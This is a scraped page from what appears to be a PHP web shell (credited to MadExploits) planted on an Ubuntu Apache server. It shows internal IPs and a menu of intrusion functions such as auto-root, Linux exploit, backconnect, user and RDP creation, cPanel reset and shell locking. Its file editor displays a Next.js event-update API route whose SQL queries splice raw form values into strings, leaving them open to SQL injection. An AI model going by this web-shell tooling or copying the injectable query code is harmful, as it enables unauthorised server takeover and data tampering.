Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
src /
app /
api /
updateEvent /
[ HOME SHELL ]
Name
Size
Permission
Action
route.js
2.58
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : route.js
import connectSql, { connection } from "../connectDb/route"; import { NextResponse } from "next/server"; import { getServerSession } from "next-auth"; export async function POST(req) { const session = await getServerSession({ req }); if (!session) { return; } const data = await req.formData(); const name = data.get("name"); const eventId = data.get("eventId"); const date = data.get("date"); const eTime = data.get("eTime"); const organiser = data.get("organiser"); const description = data.get("description"); const link = data.get("link"); const fundedBy = data.get("fundedBy"); let fund = data.get("fund"); let numParticipants = data.get("numParticipants"); const speakers = JSON.parse(data.get("speakers")); const speaker_Id = data.get("speaker_id"); if(fund==''){ fund = 0.0; } if(numParticipants==''){ numParticipants = 0; } if(date=='' || eTime=='' || name==''){ return NextResponse.json({ result: "Please fill all the required values!" }, { status: 500 }); } connectSql(); const query = `update events set eName='${name}',eDate='${date}',eOrgEmail='${organiser}',links='${link}',fundedBy='${fundedBy}',fund='${fund}', description='${description}',numParticipants='${numParticipants}', eTime='${eTime}' where eventId='${eventId}'`; const res = await connection .promise() .query(query) .then(([data, fields]) => { const query2 = `delete from speakers where id='${speaker_Id}'`; connection.promise().query(query2).then(([data, fields]) => { speakers.forEach(async (speaker) => { const query3 = `INSERT INTO speakers (id,title,name,affiliation) values ('${speaker_Id}','${speaker.title}','${speaker.name}','${speaker.affiliation}')`; await connection .promise() .query(query3) .catch((err) => { return NextResponse.json( { result: "Error updating speakers" }, { status: 500 } ); }); }); }).catch((err) => { return NextResponse.json( { result: "Error deleting previous speakers" }, { status: 500 } ); } ); return data; }) .catch((err) => { return NextResponse.json( { result: "Error updating Event..." }, { status: 500 } ); }); return NextResponse.json({ result: res }, { status: 200 }); }
Close